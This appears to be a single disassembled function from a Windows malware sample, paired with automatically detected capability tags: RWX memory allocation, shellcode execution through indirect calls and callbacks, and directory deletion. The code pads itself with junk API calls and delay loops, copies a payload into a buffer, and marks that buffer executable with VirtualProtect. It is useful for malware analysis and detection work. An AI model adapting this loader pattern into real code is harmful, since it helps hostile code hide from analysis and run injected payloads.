Function at 0x405f4a
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc3c
push ebx
push esi
push edi
xor edi, edi
cmp dword [0x4dcf68], 0x5b1
jne 0x405fe8
push edi
lea eax, [ebp - 0xc38]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push edi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push edi
call fcn.00406f97
pop ecx
push edi
push edi
push edi
push edi
call fcn.00406cae
add esp, 0x10
lea esi, [ebp - 0x10]
call fcn.00405b70
mov ecx, esi
call fcn.00405b90
push edi
call fcn.00406891
pop ecx
push edi
call fcn.0040687b
pop ecx
push edi
push edi
call fcn.004064a3
pop ecx
pop ecx
push edi
call fcn.00407320
add dword [0x4dcf68], 0x1134b
push dword [0x4dcf68]
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4dbebc], eax
mov esi, 0x1e6cc
push edi
push edi
call dword [sym.imp.USER32.dll_LoadMenuW]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x10]
push eax
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x406009
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [0x4dcf68]
push dword [0x4dbebc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x206d47
jg 0x406062
inc esi
cmp esi, 0x4f6a4
jl 0x406048
xor esi, esi
cmp dword [0x4dcf68], edi
jbe 0x4060b4
cmp dword [0x4dcf68], 0xa8
mov eax, dword [0x4dcf6c]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x4dbebc]
mov byte [ecx + esi], al
jne 0x4060ab
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x405960
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push edi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc esi
cmp esi, dword [0x4dcf68]
jb 0x40606c
xor esi, esi
mov eax, dword [0x4dcf68]
add eax, esi
cmp eax, 0xe
jne 0x4060fd
push edi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
push edi
push edi
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc esi
cmp esi, 0x39621
jl 0x4060b6
call fcn.00405e1d
xor esi, esi
push edi
call ebx
cmp esi, 0x26
jne 0x40611a
call fcn.00405f30
inc esi
cmp esi, 0x6753f
jl 0x40610d
push 0x7b
pop esi
cmp dword [0x4dcf68], 0x86
jne 0x406182
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push edi
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push edi
push edi
push edi
lea eax, [ebp - 0x838]
push eax
push edi
push 0x405970
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec esi
jne 0x406126
push 0x405980
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
leave
ret